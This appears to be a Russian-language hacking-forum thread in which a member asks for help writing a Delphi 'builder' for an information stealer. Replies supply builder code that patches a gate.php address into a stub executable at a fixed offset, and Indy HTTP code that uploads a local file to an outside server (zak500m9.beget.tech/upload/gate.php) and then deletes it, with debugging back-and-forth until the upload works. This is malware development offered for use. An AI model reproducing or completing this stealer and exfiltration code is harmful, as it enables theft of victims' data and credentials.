• Что бы вступить в ряды "Принятый кодер" Вам нужно:
    Написать 10 полезных сообщений или тем и Получить 10 симпатий.
    Для того кто не хочет терять время,может пожертвовать средства для поддержки сервеса, и вступить в ряды VIP на месяц, дополнительная информация в лс.

  • Пользаватели которые будут спамить, уходят в бан без предупреждения. Спам сообщения определяется администрацией и модератором.

  • Гость, Что бы Вы хотели увидеть на нашем Форуме? Изложить свои идеи и пожелания по улучшению форума Вы можете поделиться с нами здесь. ----> Перейдите сюда
  • Все пользователи не прошедшие проверку электронной почты будут заблокированы. Все вопросы с разблокировкой обращайтесь по адресу электронной почте : info@guardianelinks.com . Не пришло сообщение о проверке или о сбросе также сообщите нам.

Помощь в коде Люди Кто Может Помочь Создать Builder К Стилеру ?

Ярослав

Homo habilis
Принятый Кодер
Регистрация
19 Апр 2015
Сообщения
52
Баллы
50
Люди кто может помочь создать builder к стилеру на delphi xe ? билдер должен выглядить так: "1шт. edit; и кнопка build " в edit водишь ссылку на gate.php и в стилере тоисть можно сказать что в стабе она должна измениться на ту что вставил в buildere.

вот эта ссылка должна меняться на ту что вводишь в buildere
DZJ0vmCdS6KJJxpffuhC5Q.png
 
Всё тоже самое как ты делал, только код немного подправить. Заместь 50 подставь 30 или 40 и попробуй.

Код:
type
  TForm1 = class(TForm)
    Edit1: TEdit;
    Button1: TButton;
    SaveDialog1: TSaveDialog;
    procedure Button1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}
{$R link.res}


procedure ExtractRes(ResType, ResName, ResNewName : String);
var
  Res : TResourceStream;
begin
  Res := TResourceStream.Create(Hinstance, Resname, Pchar(ResType));
  Res.SavetoFile(ResNewName);
  Res.Free;
end;

procedure TForm1.Button1Click(Sender: TObject);
var
H, B: Cardinal;
C : array[0..50] of char;
begin
SaveDialog1.Execute;
if SaveDialog1.FileName = '' then
begin
 end
else
begin

ExtractRes('EXEFILE', 'ARJ', SaveDialog1.FileName);

H:=CreateFile(PChar(SaveDialog1.FileName),GENERIC_WRITE,FILE_SHARE_WRITE,nil,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0);
SetFilePointer(H,$1DAA88,nil,FILE_BEGIN);
FillChar(C,40,0);
lstrcat(C,PChar(Edit1.Text));
WriteFile(H,C,40,B,nil);
CloseHandle(H);
end;
end;
 
Всё тоже самое как ты делал, только код немного подправить. Заместь 50 подставь 30 или 40 и попробуй.

Код:
type
  TForm1 = class(TForm)
    Edit1: TEdit;
    Button1: TButton;
    SaveDialog1: TSaveDialog;
    procedure Button1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}
{$R link.res}


procedure ExtractRes(ResType, ResName, ResNewName : String);
var
  Res : TResourceStream;
begin
  Res := TResourceStream.Create(Hinstance, Resname, Pchar(ResType));
  Res.SavetoFile(ResNewName);
  Res.Free;
end;

procedure TForm1.Button1Click(Sender: TObject);
var
H, B: Cardinal;
C : array[0..50] of char;
begin
SaveDialog1.Execute;
if SaveDialog1.FileName = '' then
begin
 end
else
begin

ExtractRes('EXEFILE', 'ARJ', SaveDialog1.FileName);

H:=CreateFile(PChar(SaveDialog1.FileName),GENERIC_WRITE,FILE_SHARE_WRITE,nil,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0);
SetFilePointer(H,$1DAA88,nil,FILE_BEGIN);
FillChar(C,40,0);
lstrcat(C,PChar(Edit1.Text));
WriteFile(H,C,40,B,nil);
CloseHandle(H);
end;
end;


ставил и 40 и 30 и 20 и 10 и 25 не получаеться ошибка при запуске стилера

rzvGoM6MRLaSaQOsOkiZcA.png
 
Попробуй так
Код:
var
a:string;
begin
 a:= 'www.seite-test.ru';
 response:=IdHTTP1.Post(a,formData);
end;
 
и зделай сперва без таймера при нажатии на кнопку к примеру
 
в стилер
 
У тебя не полностью прописано адрес запроса, вот и ругается
 
Ты лучше код напиши а не картинку
 
Ты лучше код напиши а не картинку
вот код который я на кнопку вставляю

var FileName: string;response: string;
var formData: TIdMultiPartFormDataStream;
a:string;
begin
FileName := 'D:\1.txt';
formData := TIdMultiPartFormDataStream.Create;
formData.AddFile('myfile',fileName,'application/octet-stream');
formData.AddFormField('param1', 'value1');
a:= 'zak500m9.beget.tech/upload/gate.php';
response:=IdHTTP1.Post(a,formData);
memo1.Lines.Text:= response ;
formData.Free;
if (deleteFile('D:\1.txt')) then
close;
end;

и ошыбка таже "Unknow Protocol"
 
Код:
procedure TForm1.Button1Click(Sender: TObject);
var
FileName,response,a: string;
formData: TIdMultiPartFormDataStream;
begin
FileName := 'D:\1.txt';
formData := TIdMultiPartFormDataStream.Create;
formData.AddFile('myfile',fileName,'application/octet-stream');
formData.AddFormField('param1', 'value1');
a:= 'http://zak500m9.beget.tech/upload/gate.php';
response:=IdHTTP.Post(a,formData);
memo1.Lines.Text:= response ;
formData.Free;
if (deleteFile('D:\1.txt')) then
close;
end;
 
Код:
procedure TForm1.Button1Click(Sender: TObject);
var
FileName,response,a: string;
formData: TIdMultiPartFormDataStream;
begin
FileName := 'D:\1.txt';
formData := TIdMultiPartFormDataStream.Create;
formData.AddFile('myfile',fileName,'application/octet-stream');
formData.AddFormField('param1', 'value1');
a:= 'http://zak500m9.beget.tech/upload/gate.php';
response:=IdHTTP.Post(a,formData);
memo1.Lines.Text:= response ;
formData.Free;
if (deleteFile('D:\1.txt')) then
close;
end;

Теперь роботает, спасибо, щяс попробую зделать стилер но что то мне подсказывает что он серавно не будет роботать.
 
Зделал стилер и она и таже ошибка
ZblQxLcISPmPhw82PJEdww.png
 
скинь мне код
 
Адрес не соответствует , или же Stiller ты берёшь два разных программу и ресурс.
Код:
var
H, B: Cardinal;
C : array[0..50] of char;
begin
dlgSave1.Execute;
if dlgSave1.FileName = '' then
begin
 end
else
begin

ExtractRes('EXEFILE', 'ARJ', dlgSave1.FileName);

H:=CreateFile(PChar(dlgSave1.FileName),GENERIC_WRITE,FILE_SHARE_WRITE,nil,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0);
SetFilePointer(H,$2612C8,nil,FILE_BEGIN);
FillChar(C,40,0);
lstrcat(C,PChar(Edit3.Text));
WriteFile(H,C,40,B,nil);
CloseHandle(H);
end;
end;
 

Вложения

  • ad.PNG
    ad.PNG
    4.9 КБ · Просмотры: 7
так а что делать ? я билдер делал на delphi 7 а стилер на delphi xe 3
 
попробую исправить
 
Вверх Снизу